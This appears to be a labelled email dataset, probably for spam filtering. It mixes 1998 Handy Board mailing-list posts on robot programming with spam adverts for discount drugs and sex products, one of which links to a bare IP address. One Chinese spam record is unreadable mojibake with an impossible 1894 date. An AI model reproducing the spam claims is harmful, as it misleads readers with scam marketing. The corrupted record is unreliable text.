dcconn-nvirginia.es.net (198.124.254.25) 779.145 ms 755.952 ms 758.518 ms 5 cebaf-atms.es.net (134.55.24.7) 619.961 ms 620.167 ms 566.113 ms 6 192.70.245.34 (192.70.245.34) 581.588 ms 588.995 ms 482.475 ms 7 jlabh3.cebaf.gov (129.57.33.135) 388.325 ms 326.219 ms 231.320 ms Sun Sep 27 22:03:35 EDT 1998 root> traceroute jlabh3.jlab.org traceroute to jlabh3.jlab.org (129.57.33.135), 30 hops max, 40 byte packets 1 mp32.richmond.edu (141.166.64.13) 149.797 ms 149.848 ms 139.921 ms 2 141.166.64.1 (141.166.64.1) 159.799 ms 149.865 ms 149.924 ms 3 janus.richmond.edu (141.166.192.1) 149.943 ms 139.864 ms 139.922 ms 4 sprint-7507.a1-0.4.networkvirginia.net (208.22.66.1) 959.821 ms 1019.848 ms * 5 dcconn-nvirginia.es.net (198.124.254.25) 749.963 ms 719.862 ms 909.913 ms 6 cebaf-atms.es.net (134.55.24.7) 809.864 ms 839.872 ms 609.908 ms 7 192.70.245.34 (192.70.245.34) 619.888 ms 769.871 ms 719.918 ms 8 jlabh3.cebaf.gov (129.57.33.135) 769.929 ms 819.868 ms 879.907 ms ",0,0 Peter Eacmen ,"""'handyboard@media.mit.edu'"" ","Mon, 28 Sep 1998 18:29:28 -0400",HB Serial Communication,"Hi, Is it possible for 2 HBs to communicate via the serial port using Randy Sargent's serial code? (http://www.ai.mit.edu/people/rsargent/ic/serialio.html) I'm not too smart in electronics so I plugged a standard telephone cable between two HBs and one of them turned off and smoke came from around the SPI. I don't need to send strings just simple characters. Any help would be appreciated. Also does anyone have the ISBN for ""Mobile Robots Inspiration to Implementation"" ? Thank You Peter Eacmen ",0,1 �x�W���gDVD�M��/�ܺA�h��/�S�O����DVD�M��/�S���M��/�۩�y�X/ ,bruce_wu@email.syscom.com.tw,"Sat, 28 Apr 1894 05:16:16 +0800",����L�X�d�q/�q���H��/�@��A���̨S�������`/�u���d�q���ݪ����/,�k�P����/�x�W���gDVD�M��/�S������DVD�M��/ http://�W���M�\\���}/���O���C��/http://�m�M���r���n�G/�m�M���r���n���b��������/DVD��20���������W���M�\\/�������C��/ http://�W���M�\\���}/���O���C��/http://�����L�X//http://���~����/�����M��/ http://�����j�����}/���O���C��/http://�S����������:/�Y���_�q���G�Q���H�W���eVCD�G��.�T�Q���e�|��.�|�Q���e����/ http://�����j�����}/���O���C��/http://�����s��//http://�W�Z�k��DVD�M��/�S�O����DVD�M��/ http://�����k�k���~��������/���������F�_��/�k�u�@�h�������k�����@�k/,1,1 bs ,handyboard@media.mit.edu,"Mon, 28 Sep 1998 19:14:52 -0700",Running Assembly Programs,"I am taking a course on HC11 assembly. I wanted to know how I can use the Handyboard (and/or the Miniboard, I have both) in this class. The course uses the Mot EV board and they use the PCBUG11 for everything. Please tell me the procedures and the software I have to use to run assembly programs on both boards. Thanks for everyone's help in advance. ",0,0 """Fred G. Martin"" ",Peter Eacmen ,"Mon, 28 Sep 1998 22:44:19 -0400",Re: HB Serial Communication ,"yes, but you have to use the atypical ""network style"" cable if you are plugging two HB's together. see http://el.www.media.mit.edu/projects/handy-board/faq/index.html#rj11 for more info. f. In your message you said: > Hi, > > Is it possible for 2 HBs to communicate via the serial port using Randy Sarge nt's serial code? > (http://www.ai.mit.edu/people/rsargent/ic/serialio.html) > I'm not too smart in electronics so I plugged a standard telephone cable betw een two HBs and one of them turned off and smoke came from around the SPI. I d on't need to send strings just simple characters. Any help would be appreciate d. > > Also does anyone have the ISBN for ""Mobile Robots Inspiration to Implementati on"" ? > > Thank You > Peter Eacmen > ",0,1 Nellie ,tina@mail3.cern.ch,"Mon, 28 Sep 1998 19:21:40 -0700",order anytime Ignacio," ED Choice, your best choice for ED drugs Viagra 100mg - $1.56 /pill Viagra SOFT $1.89 /pill NEW! Cialis $3.00 /pill Cialis SOFT $3.33 /pill NEW! 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Expected 141, received 91, after 60 chars received Perhaps the board was not connected properly or not in download mode. I have tried several times, each time making sure the board is in bootstrap mode and it will not download at all. Is it a problem with the machine serial port (I am specifying com2 in the command line)? or Is it a problem with the on board components? Any suggestions would be welcomed Thanks in advance Andy Burton ",0,0 Javaid Iqbal ,handyboard@media.mit.edu,"Tue, 29 Sep 1998 20:21:35 +1000",Multi dimentional Arrays,"Hi All, I am trying to write a code for fuzzy logic and using Matrix havig a size of 10X10, but it gives an error (stack overflow). When i reduce the size of matrix to 6X6 it works perfectly.I am using IC 3.0. Can I use a matrix having a size greator than 6x6, if there is a way, can anybody help me out. Thanks in advance. Kind Regards Sincerely, Javaid Iqbal ------------------------------------------------------------------------ | ************ Uni of New South Wales, Sydney, Australia ************ | ------------------------------------------------------------------------ ",0,0 HVillalva@aol.com,handyboard@media.mit.edu,"Tue, 29 Sep 1998 09:28:35 -0400",nvram,"is it posible to use an NVRAM lets say dallas a 32K in place of the regukar RAM to load the program and run it from there with out having to continually loading it?? thanks in advance FRED ",0,0 GDFRITZ@aol.com,handyboard@media.mit.edu,"Tue, 29 Sep 1998 09:50:51 -0400",Does Karl Lunt's SBASIC work with HB?,"Hi all, I just read a great article from Karl Lunt in a robotics magazine about beginning programming (exactly where I am) and the 68HC11. He mentioned that he has a basic compiler that you can download from his site. Does anyone know if this will work with the HandyBoard? How well does it work? Thanks, Gerald",0,1 """Patrick P.K. Hui"" ","""Burton, Andrew"" ","Tue, 29 Sep 1998 21:56:52 +0800",Re: Down loading IC,"Hello, You have to download the IC in download-mode again. All memory (32K volatile SRAM) will be lost after you disconnect all the power from the board. However, if you just turn-off the power (without removing power adapter or batteries) of the board , all memory content will be fine. Interactive-C will boot again once you turn-on the power switch. Thanks and Best Regards, Patrick --00-------------------------------------------------------- Low cost MIT Handyboard supplier and Official Distributor of Interactive-C 3.x ** An intelligent C programmable controller board to build your own Mobile Robot WWW: http://home.hkstar.com/~huip for more info E-mail: huip@hkstar.com >Help please, > >I have just bought a pre-assembled Handy board, powered it up connected it >to com2 on a dos PC and successfully downloaded IC. The problem now is that >after that I disconnected all power to the board(including batteries), >powered the board up again after about 15 minutes and it will not download >IC. The error message is as follws: > >Downloading 256 byte bootstrap (229 data) >........................................................................... . >...................... >Expected 141, received 91, after 60 chars received >Perhaps the board was not connected properly or not in download mode. >I have tried several times, each time making sure the board is in bootstrap >mode and it will not download at all. > >Is it a problem with the machine serial port (I am specifying com2 in the >command line)? >or >Is it a problem with the on board components? > >Any suggestions would be welcomed > >Thanks in advance > >Andy Burton > ",0,1 John Hatton ,'Handyboard Mailing List' ,"Tue, 29 Sep 1998 16:04:51 +0100",Lego Mindstorms,"Has anybody got one ?. If so what's the programming aspect like. Thanks in advance. John Hatton john_hatton@bigfoot.com ",0,0 luikeith@egr.msu.edu,handyboard@media.mit.edu,"Tue, 29 Sep 1998 11:58:39 -0400",IC Programming.,"Hi all, Does anyone know how to convert floating point variables to integers in IC? I want to use the control the motor using an algorithm. However, that algorithm always return a floating point number, and motor(m,p) can only use integer p. Keith ",0,0 Mark HATCH ,"Andy Nichols , ""G.Tappern"" , ""LISSAUER@bnlajc.bnl.gov"" , Marzio Nessi ","Tue, 29 Sep 1998 12:06:04 +0100",Meeting at RAL 25/9/98 - Notes,"Notes from the Meeting at RAL on the 25/9/98 concerning IDET services. Present: A.Nicholls RAL, M.Hatch CERN 1) ITC scintillator brackets MH handed over details of the latest requirements for the arrangement of fibres from the ITC scintillator. These fibres connect into the 80mm deep tile plug via 7mm thick brackets at nominal 290mm centres in R-PHI. These brackets attach to the underside of the 80mm tile plug, are 70mm high and protrude 75mm from the end-cap tile end plate - 20mm inboard from the face of the 80mm tile plug. There is a 45 degree chamfer on these brackets to limit the effect on IDET services. Although these brackets are in close proximity to the IDET services the above arrangements are considered reasonable and are agreed. 2) Arrangement of IDET patch panels in the gap and full scale modelling. MH handed over drawings showing possible locations and dimensions of IDET patch panels in the gap region. The time is considered right for a full scale model to be started. The dimensions of this model were discussed. It was agreed that the model should include a region that covers: - 3 LAr front-end crates - 2 adjacent IDET patch panel regions - The tile cal fingers outboard of these crates - 2 BIS and one BIL muon chambers. The wooden model will be built at CERN. The IDET collaboration will install their patch panels and services in the space available between the above items. MH will produce a document describing the proposals for this model. This model is in addition and complementary to the model proposed by the IDET collaboration. 3) IDET Fibres MH handed over a drawing from R.Mclaren, CERN, showing proposals for fibre types, connectors and lengths from the IDET to the USA15. Comments invited. 4) TRT read out A.Nicholls to advise MH the cross-sectional area requirements of the TRT read out. Currently twisted pairs for cost reasons. Potential for space saving if optical fibre ? 5) IDET Power supplies AN to advise MH the contact persons for IDET power supplies. 6) SCT Power cables AN handed over specification of flat power cables. MH to pass on to K-H.Steinberg, CERN, to investigate possible alternatives. End of notes MH 29/9/98 --------------5D153D4EADEF0C952B2E74E1-- ",0,0 Will ,Handyboard Mailing List ,"Tue, 29 Sep 1998 10:38:48 -0600",Re: Multi dimentional Arrays,"Javaid Iqbal wrote: > Hi All, > I am trying to write a code for fuzzy logic and using Matrix havig a size > of 10X10, but it gives an error (stack overflow). When i reduce the size > of matrix to 6X6 it works perfectly. You might try using a one-dimensional array of size 100, along with a simple indexing function to simulate a two-dimensional array: int myarray[ 100 ]; int index( int row, int col ) { return 10 * row + col; } void main() { int i = 0, j = 4; myarray[ index( i, j ) ] = 30; printf( ""myarray( %d, %d ) = %d"", i, j, myarray[ index( i, j ) ] ); } Perhaps the one-dimensional array would be more memory-efficient. Good luck! --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Suburbia is where the developer bulldozes out Will Bain, the trees, then names the streets after them. & Tatoosh --Bill Vaughn",0,0 Will ,Handyboard Mailing List ,"Tue, 29 Sep 1998 10:39:04 -0600",Re: Down loading IC,"Burton, Andrew wrote: > Is it a problem with the machine serial port (I am specifying com2 in the > command line)? For some unknown reason, com2 would never work properly for my HB, either. As soon as I tried it in com1, though, everything worked fine and has worked ever since. You might give it a try. Good luck. --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Suburbia is where the developer bulldozes out Will Bain, the trees, then names the streets after them. & Tatoosh --Bill Vaughn",0,0 Marcie Flore ,Guy ,"Tue, 29 Sep 1998 05:23:38 +0700","""more bang for the buck,"" literally speaking ","This message is intended for prescription drug users only. Popular Meds at Deep Discounts at this fast-growing site. We currently ship to most countries. Sincerely, Maricela Houseworth Discover the benefits today n5Vrd",1,1 Rick Moll ,Javaid Iqbal ,"Tue, 29 Sep 1998 12:16:34 -0500",Re: Multi dimentional Arrays,"Javaid Iqbal wrote: > Hi All, > I am trying to write a code for fuzzy logic and using Matrix havig a size > of 10X10, but it gives an error (stack overflow). When i reduce the size > of matrix to 6X6 it works perfectly.I am using IC 3.0. > Can I use a matrix having a size greator than 6x6, if there is a way, can > anybody help me out. > Thanks in advance. I don't know how big the IC stack is, but I suspect you are overflowing it because you're allocating the array on the stack. If it's an array of floating point the 10x10 array will be at least 400 bytes, and most likely larger. Try allocating the array as a static. That is, declare it outside of the function. Later, Rick ",0,0 Maz Rahm ,handyboard@media.mit.edu,"Tue, 29 Sep 1998 11:10:13 -0700",multitasking using start_process();,"I've read through the maunual for the Handy Board, and I am aware that the handy board has multitasking capabilities. The manual says that the function: start_process(...) is the function to use to have the handy board multitask. WHERE is this function? It isn't in any of the libraries that come with IC 2.85, this manual was for this version. Can anyone email me the code? To substitute I've been using an infinite loop such as: while (1) { ... } This works, but the start_process fucntion is A LOT more intuitive. Can anyone help? thanks! ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 bs ,handyboard@media.mit.edu,"Tue, 29 Sep 1998 12:19:43 -0700",Running Assembly Programs,"I am taking a course on HC11 assembly. I wanted to know how I can use the Handyboard (and the Miniboard, I have both) in this class. The course uses the Mot EV board and they use the PCBUG11 for everything. Please tell me the procedures and the software I have to use to run assembly programs on both boards. Thanks for everyone's help in advance. (I apologize to the lego enthusiaists, but I feel that somew of the people on the list may know the answer to my question.) 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While we aren't Intel or National, we > hold our own in a niche market. Part of our fringe benefits is that > we can take courses on site for degrees. In one of these courses > we can design and manufacture an IC of our very own. Even though > I am an IC designer, I can't exactly make one for myself anytime. > But for this course I designed an IC that may be of interest to > fellow Handyboarders. > > This IC replaces several components and interfaces with the Sharp > IR Modules that are very common. I've attached an MS Word version > of the specification to the end of this email for reference. While the > parts have some minor issues, they are very workable. > > Basically I have 15 (Fifteen) Ceramic IC samples available. I would > like to distribute them to the Handyboard group for evaluation. > I cannot give these out for free. Packaging along for ceramics > costs a good amount. If I get good reviews and encouragement, > I may redesign the IC to take into account the various comments > the review may generate as well as fix my own oversights. Also > I could build in larger volumes, in plastic, and cheaper. > > For this evaluation, I can only ship the parts inside the United > States. The price tag is $10 each. I am sorry for the cost, but > when you have low production quantities for a specialized IC, then > the price tends to be high. > > How do you order one? > Email me first. First come first serve. In this way I will reserve > the part(s) for you. I will only accept checks. No COD. > No Credit Cards. I'm just a guy with some 'homemade' ICs > to sell. > > For those who are accepted, you would send your check for > $10/each to me at the address below. Remember to include > your name and address so I can ship it to you. Shipping will > be by regular mail and is included in the price. > > Thank you, > > Shelby R. Raymond > Design Engineer - Automotive Business Unit > Cherry Semiconductor Corp. > 2000 South County Trail > East Greenwich, RI 02818, USA mailto:srr@cherry-semi.com > > > <> >",0,0 Germán Gentile ,"HVillalva@aol.com, handyboard@media.mit.edu","Tue, 29 Sep 1998 21:12:12 -0000",RE: nvram,Off course !!! I´m using that memory from dallas about a year to date. works excellent. Maybe sometime have some problems with some 68hc11. I just replace that micros and alll work well. I think (is posible) a little different impedance affect the bus response or something like that. Sometimes i can't download the code for a micro and with other don´t have that problem. Sorry for my poor english. German Gentile -----Mensaje original----- De: HVillalva@aol.com Para: handyboard@media.mit.edu Fecha: Martes 29 de Septiembre de 1998 14:12 PM Asunto: nvram >is it posible to use an NVRAM lets say dallas a 32K in place of the regukar >RAM >to load the program and run it from there with out having to continually >loading it?? >thanks in advance FRED >,0,0 Jim Reith ,"bs , handyboard@media.mit.edu","Tue, 29 Sep 1998 20:16:42 -0400",Re: Running Assembly Programs,"At 12:19 PM -0700 9/29/98, bs wrote: >I am taking a course on HC11 assembly. I wanted to know how I can use the >Handyboard (and the Miniboard, I have both) in this class. The course uses >the Mot EV board and they use the PCBUG11 for everything. Please tell me the >procedures and the software I have to use to run assembly programs on both >boards. Thanks for everyone's help in advance. >(I apologize to the lego enthusiaists, but I feel that somew of the people >on the list may know the answer to my question.) On the 6.270 board I run an application that is mostly timer interrupt handlers and motor drivers all written in assembler. I took the assembler off of the MIT site on Cher and I wrote a small C main program that calls into the assembler and only returns when it's done. I would imagine the Handy and Mini boards would be capable of the same method with the interactive C available for them. Jim +---------------------------------------+-------------------------------------+ | RA Cores Home of the | racores@world.std.com | | P.O. Box 863 R/C Combat Gremlin | or reith@racores.com | | Southbridge, MA 01550 | http://world.std.com/~racores/ | | voice or fax (508) 765-9998 | or http://www.racores.com/~reith/ | +---------------------------------------+-------------------------------------+ ",0,1 Peter Eacmen ,"""'Fred G. Martin'"" ","Tue, 29 Sep 1998 20:15:09 -0400","RE: HB Serial Communication (""network style"" cable?)"," Where do I get the ""network style"" cable to hook the 2 HBs together. -----Original Message----- From: Fred G. Martin [SMTP:fredm@media.mit.edu] Sent: Monday, September 28, 1998 10:44 PM To: Peter Eacmen Cc: 'handyboard@media.mit.edu' Subject: Re: HB Serial Communication yes, but you have to use the atypical ""network style"" cable if you are plugging two HB's together. see http://el.www.media.mit.edu/projects/handy-board/faq/index.html#rj11 for more info. f. In your message you said: > Hi, > > Is it possible for 2 HBs to communicate via the serial port using Randy Sarge nt's serial code? > (http://www.ai.mit.edu/people/rsargent/ic/serialio.html) > I'm not too smart in electronics so I plugged a standard telephone cable betw een two HBs and one of them turned off and smoke came from around the SPI. I d on't need to send strings just simple characters. Any help would be appreciate d. > > Also does anyone have the ISBN for ""Mobile Robots Inspiration to Implementati on"" ? > > Thank You > Peter Eacmen > ",0,1 Kory ,'Melvin' ,"Wed, 30 Sep 1998 03:14:27 +0100",have longer sex tonight," Hi friend: We have quality product to help you Enjoy better sex life. All products come with 100% money back guarantee http://62.193.225.122/sm/ Increase your sperm vol by 500% guaranteed... http://62.193.225.122/ps/ Add 3inchs to your penis size or we refund ... http://62.193.225.122/et/ New formula enjoy sex longer... chestertong7890hjfdefshsajksa ",1,1 """Burton, Andrew"" ",'Hui Pak Robot Store' ,"Wed, 30 Sep 1998 10:18:00 +0100",Re: Down loading IC,"Patrick, Plugged the board into COM1 and all ok - strange as I use a modem in COM2 and this runs OK. Thanks for the advice Andy Burton >I have put the board in bootsrap mode (is this the same as download mode? ) >each time I try to download the IC. The serial light flashes for approx 1.5 >seconds then the error message is displayed on the pc monitor. The >handyboard still has the 16 squares faintly displayed. > ><---------- > > >volatile > > > > > > >< --00-------------------------------------------------------- ><** An intelligent C programmable controller > > > > >>Help please, >> >>I have just bought a pre-assembled Handy board, powered it up connected it >>to com2 on a dos PC and successfully downloaded IC. The problem now is that >>after that I disconnected all power to the board(including batteries), >>powered the board up again after about 15 minutes and it will not download >>IC. The error message is as follws: >> >>Downloading 256 byte bootstrap (229 data) >>.......................................................................... . >. >>...................... >>Expected 141, received 91, after 60 chars received >>Perhaps the board was not connected properly or not in download mode. >>I have tried several times, each time making sure the board is in bootstrap >>mode and it will not download at all. >> >>Is it a problem with the machine serial port (I am specifying com2 in the >>command line)? >>or >>Is it a problem with the on board components? >> >>Any suggestions would be welcomed >> >>Thanks in advance >> >>Andy Burton >> >",0,1 luikeith@egr.msu.edu,handyboard@media.mit.edu,"Wed, 30 Sep 1998 09:17:49 -0400",output to file,"Dear all, I would like to output some HB data to a file, is that possible? Keith ",0,0 Aaron Edsinger ,Keith - Lui ,"Wed, 30 Sep 1998 10:47:58 -0700",Re: output to file,"Yes, Write a dos/windows client that reads the serial line and then writes it to file using the C stdio library. -----Original Message----- From: Keith - Lui To: handyboard@media.mit.edu Date: Wednesday, September 30, 1998 6:55 AM Subject: output to file >Dear all, > >I would like to output some HB data to a file, is that possible? > >Keith >",0,0 Will ,Handyboard Mailing List ,"Wed, 30 Sep 1998 09:27:14 -0600",Re: IC Programming.,"Keith - Lui wrote: > Does anyone know how to convert floating point variables to integers in IC? Converting between types is called casting, and it goes like this: float f = 4.6; int i = (int) f; /* should assign 4 to i, I think */ f = (float) i; /* ought to assign 4.0 to f */ I'm not certain, but usually casting a float to an integer truncates (rounds down). A simple experiment would determine whether I'm remembering this correctly. Good luck! --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, If the world were a logical place, Will Bain, men would ride sidesaddle. & Tatoosh --Rita Mae Brown ",0,0 DANEnet Root ,wwlw@danenet.wicip.org,"Thu, 01 Oct 1998 02:20:26 -0500",DANEnet Monthly Web Report for Wisconsin Women Library Workers ,"Web Server Statistics for Wisconsin Women Library Workers on DANEnet ==================================================================== Program started at Thu-01-Oct-1998 02:19 local time. Analysed requests from Mon-31-Aug-1998 01:03 to Tue-29-Sep-1998 23:04 (29.9 days). Total successful requests: 1,692 (358) Average successful requests per day: 57 (51) Total successful requests for pages: 688 (156) Average successful requests for pages per day: 23 (22) Total failed requests: 2 (0) Number of distinct files requested: 19 (19) Number of distinct hosts served: 316 (74) Number of new hosts served in last 7 days: 59 Corrupt logfile lines: 443 Unwanted logfile entries: 568,545 Total data transferred: 4,116 kbytes (913,230 bytes) Average data transferred per day: 140,873 bytes (130,461 bytes) (Figures in parentheses refer to the last 7 days). --------------------------------------------------------------------------- Daily Report ------------ Each unit (+) represents 1 request for a page. date: pages: --------- ----- 31/Aug/98: 19: +++++++++++++++++++ 1/Sep/98: 16: ++++++++++++++++ 2/Sep/98: 28: ++++++++++++++++++++++++++++ 3/Sep/98: 22: ++++++++++++++++++++++ 4/Sep/98: 21: +++++++++++++++++++++ 5/Sep/98: 15: +++++++++++++++ 6/Sep/98: 22: ++++++++++++++++++++++ 7/Sep/98: 15: +++++++++++++++ 8/Sep/98: 12: ++++++++++++ 9/Sep/98: 22: ++++++++++++++++++++++ 10/Sep/98: 20: ++++++++++++++++++++ 11/Sep/98: 17: +++++++++++++++++ 12/Sep/98: 16: ++++++++++++++++ 13/Sep/98: 26: ++++++++++++++++++++++++++ 14/Sep/98: 31: +++++++++++++++++++++++++++++++ 15/Sep/98: 18: ++++++++++++++++++ 16/Sep/98: 27: +++++++++++++++++++++++++++ 17/Sep/98: 25: +++++++++++++++++++++++++ 18/Sep/98: 11: +++++++++++ 19/Sep/98: 16: ++++++++++++++++ 20/Sep/98: 20: ++++++++++++++++++++ 21/Sep/98: 47: +++++++++++++++++++++++++++++++++++++++++++++++ 22/Sep/98: 50: ++++++++++++++++++++++++++++++++++++++++++++++++++ 23/Sep/98: 16: ++++++++++++++++ 24/Sep/98: 35: +++++++++++++++++++++++++++++++++++ 25/Sep/98: 15: +++++++++++++++ 26/Sep/98: 25: +++++++++++++++++++++++++ 27/Sep/98: 12: ++++++++++++ 28/Sep/98: 30: ++++++++++++++++++++++++++++++ 29/Sep/98: 39: +++++++++++++++++++++++++++++++++++++++ --------------------------------------------------------------------------- Directory Report ---------------- Printing all directories with at least 10 requests for pages, sorted by number of page requests. Printing directories to depth 4. pages: %pages: #reqs: %reqs: %bytes: directory ----- ------ ----- ------ ------ --------- 688: 100%: 1692: 100%: 100%: /wwlw/ --------------------------------------------------------------------------- Request Report -------------- Printing all requested files, sorted by number of requests. pages: %pages: #reqs: %reqs: %bytes: file ----- ------ ----- ------ ------ ---- 0: : 368: 21.75%: 28.65%: /wwlw/bar.gif 293: 42.59%: 293: 17.32%: 16.03%: /wwlw/ 0: : 245: 14.48%: 5.10%: /wwlw/bullet.gif 0: : 236: 13.95%: 6.05%: /wwlw/wwlwarms.gif 0: : 150: 8.87%: 8.66%: /wwlw/home.gif 65: 9.45%: 65: 3.84%: 5.13%: /wwlw/reading.htm 61: 8.87%: 61: 3.61%: 2.66%: /wwlw/welcome.htm 49: 7.12%: 49: 2.90%: 2.90%: /wwlw/newslet.htm 35: 5.09%: 35: 2.07%: 2.61%: /wwlw/quilt.htm 31: 4.51%: 31: 1.83%: 1.71%: /wwlw/index.htm 30: 4.36%: 30: 1.77%: 1.24%: /wwlw/calendar.htm 29: 4.22%: 29: 1.71%: 1.63%: /wwlw/joinus.htm 26: 3.78%: 26: 1.54%: 1.02%: /wwlw/webvol.htm 24: 3.49%: 24: 1.42%: 1.83%: /wwlw/steering.htm 15: 2.18%: 15: 0.89%: 3.59%: /wwlw/qfilm.htm 12: 1.74%: 12: 0.71%: 1.74%: /wwlw/qsleuths.htm 10: 1.45%: 10: 0.59%: 0.53%: /wwlw/qtheme.htm 8: 1.16%: 8: 0.47%: 0.41%: /wwlw/qthnotab.htm 0: : 5: 0.30%: 8.51%: /wwlw/sleuths.gif --------------------------------------------------------------------------- Domain Report ------------- Printing all domains with at least 1 request for a page, sorted by number of page requests. pages: #reqs: %bytes: domain ----- ----- ------ ------ 163: 413: 26.07%: [unresolved numerical addresses] 159: 323: 20.34%: .com (Commercial, mainly USA) 102: 246: 16.37%: .edu (USA Educational) 93: 252: 13.34%: .net (Network) 25: 55: 3.51%: .us (United States) 23: 83: 4.03%: .ca (Canada) 17: 37: 1.97%: .uk (United Kingdom) 16: 20: 1.46%: .arpa (Old style Arpanet) 16: 56: 2.88%: .au (Australia) 16: 48: 2.32%: .my (Malaysia) 11: 33: 1.73%: .sg (Singapore) 5: 13: 0.67%: .bh (Bahrain) 5: 9: 0.49%: .gov (USA Government) 4: 5: 0.25%: .nz (New Zealand) 4: 15: 0.81%: .org (Non-Profit Making Organisations) 4: 11: 0.55%: .pl (Poland) 3: 6: 0.21%: .ae (United Arab Emirates) 3: 8: 0.43%: .de (Germany) 3: 7: 0.34%: .es (Spain) 3: 12: 0.34%: .jp (Japan) 3: 7: 0.35%: .mu (Mauritius) 3: 10: 0.47%: .qa (Qatar) 2: 7: 0.29%: .jo (Jordan) 2: 6: 0.29%: .nl (Netherlands) 1: 1: 0.06%: .cl (Chile) 1: 5: 0.27%: .in (India) 1: 4: 0.18%: .om (Oman) --------------------------------------------------------------------------- Host Report ----------- Printing the first 50 hosts, sorted by amount of traffic. pages: #reqs: %bytes: host ----- ----- ------ ---- 15: 21: 3.18%: 144.92.160.146 11: 17: 2.99%: col026.library.wisc.edu 9: 15: 2.81%: itis-gw.bmgmlaw.com 1: 5: 2.04%: 208.146.26.71 1: 5: 2.04%: pvlpm3a-32-56.innercite.com 15: 24: 1.53%: pc518.library.wisc.edu 13: 13: 1.11%: a-446.host059.111.133.209.in-addr.arpa 11: 19: 1.04%: 206.101.224.99 8: 13: 0.97%: scapcbs.scls.lib.wi.us 12: 12: 0.93%: scooter.pa-x.dec.com 10: 14: 0.79%: ts1-28.memlane.com 6: 14: 0.76%: 194.170.168.94 8: 13: 0.72%: nutmeg.johnruskin.ac.uk 5: 9: 0.72%: 204.158.207.171 5: 9: 0.71%: gnddial47.caribsurf.com 8: 8: 0.71%: crawl1.atext.com 5: 13: 0.67%: 194.170.2.5 6: 11: 0.66%: pc410.library.wisc.edu 4: 12: 0.64%: 194.170.2.30 6: 11: 0.59%: pluto.nationwide.com 5: 10: 0.59%: mthpc02.scls.lib.wi.us 5: 10: 0.59%: 168.20.205.61 5: 10: 0.58%: 40.athens.edu 5: 10: 0.57%: 209.208.171.203 6: 11: 0.57%: cache-db03.proxy.aol.com 5: 10: 0.57%: wiscat.uwsp.edu 3: 6: 0.56%: dyn-2-28.medford.net 5: 9: 0.55%: 144.13.20.64 6: 10: 0.55%: host-209-214-153-53.sld.bellsouth.net 4: 9: 0.54%: lib-ws-018.lib.asu.edu 5: 10: 0.54%: 192.218.245.153 6: 10: 0.54%: 1cust248.tnt5.chi1.da.uu.net 5: 10: 0.54%: 195.96.140.49 6: 10: 0.51%: 2cust38.tnt14.nyc3.da.uu.net 4: 9: 0.51%: 140.225.2.157 4: 9: 0.51%: smtp.xtn.net 4: 9: 0.51%: newiusr1-a62.badger.tds.net 2: 5: 0.51%: quantum.lis.uiuc.edu 5: 9: 0.50%: j6.sgw43.jaring.my 2: 5: 0.49%: lrc1.mcae.k12.mn.us 4: 9: 0.49%: c518d1.lab.ksu.edu 5: 9: 0.48%: scapcsmb.scls.lib.wi.us 4: 9: 0.48%: 202.98.116.131 1: 9: 0.48%: libpc-1.tusculum.edu 3: 10: 0.47%: proxy.qatar.net.qa 3: 8: 0.47%: usr10-dialup20.mix1.sacramento.mci.net 3: 8: 0.47%: pc-mfresquez.nmsu.edu 3: 8: 0.46%: dialin9082.slip.uci.edu 3: 8: 0.45%: rhhu177.res.utk.edu 7: 7: 0.45%: t-exp-1-208-37.dialup.wisc.edu --------------------------------------------------------------------------- Browser Report -------------- Printing the first 100 browsers, sorted by number of requests. #reqs: browser ----- ------- 143: Mozilla/4.0 (compatible; MSIE 4.01; Windows 95) 82: Mozilla/4.0 (compatible; MSIE 4.01; Windows 98) 64: Mozilla/3.0 (Win16; I) 64: Mozilla/4.0 (compatible; MSIE 4.0; Windows 95) 60: Mozilla/3.0 (Win95; I) 51: Mozilla/2.0 (compatible; MSIE 3.0; Windows 95) 48: Mozilla/4.04 [en] (Win95; I) 46: Mozilla/4.05 [en] (Win95; I) 46: Mozilla/4.01 [en] (Win95; I) 45: Mozilla/2.0 (compatible; MSIE 3.01; Windows 95) 40: Mozilla/4.0 (compatible; MSIE 4.01; Windows NT) 37: Mozilla/3.01Gold (Win95; I) 33: Mozilla/2.0 (compatible; MSIE 3.01; AK; Windows 95) 30: Mozilla/4.04 [en] (Win95; I ;Nav) 29: Mozilla/2.0 (compatible; MSIE 3.02; Update a; AK; Windows 95) 25: Mozilla/3.04Gold (Win95; I) 24: Mozilla/3.01 (Win95; I) 23: Mozilla/4.04 (Macintosh; I; PPC, Nav) 22: Mozilla/3.04 (Win95; I) 22: Mozilla/4.05 [en] (WinNT; I) 21: Mozilla/4.04 [en] (Win95; U) 20: Mozilla/2.0 (compatible; MSIE 3.02; Update a; Windows 95) 18: Mozilla/3.01 (Win16; I) 17: Mozilla/4.03 [en] (Win95; I ;Nav) 17: Mozilla/2.0 (compatible; MSIE 3.0; AOL 3.0; Windows 3.1) 16: Mozilla/4.04 [en] (WinNT; I ;Nav) 16: Mozilla/4.0 (compatible; MSIE 4.01; AOL 4.0; Windows 98) 16: Mozilla/2.0 (compatible; MSIE 3.02; Windows 95) 15: Mozilla/3.0Gold (Win95; I) 15: Mozilla/4.06 [en] (Win95; I) 14: Mozilla/4.0 (compatible; MSIE 4.0; MSN 2.5; Windows 95) 14: Mozilla/3.04 (Win16; I) 14: Scooter/1.0 scooter@pa.dec.com 13: Openfind Robot/1.1A1 13: Mozilla/3.01C-SYMPA (Win95; U) 13: Mozilla/3.01 (WinNT; I) 13: Scooter/2.0 G.R.A.B. X2.0 12: Mozilla/4.03 [en] (Win95; I) 12: Mozilla/4.04 [en] (WinNT; I) 12: Mozilla/3.0 (Win95; U) 10: Mozilla/3.01Gold (Win16; I) 10: Mozilla/4.05 [en] (Win95; I ;Nav) 10: Mozilla/3.01-C-BLS20 (Macintosh; U; PPC) 10: Mozilla/3.03 (Win95; I) 9: Mozilla/3.03 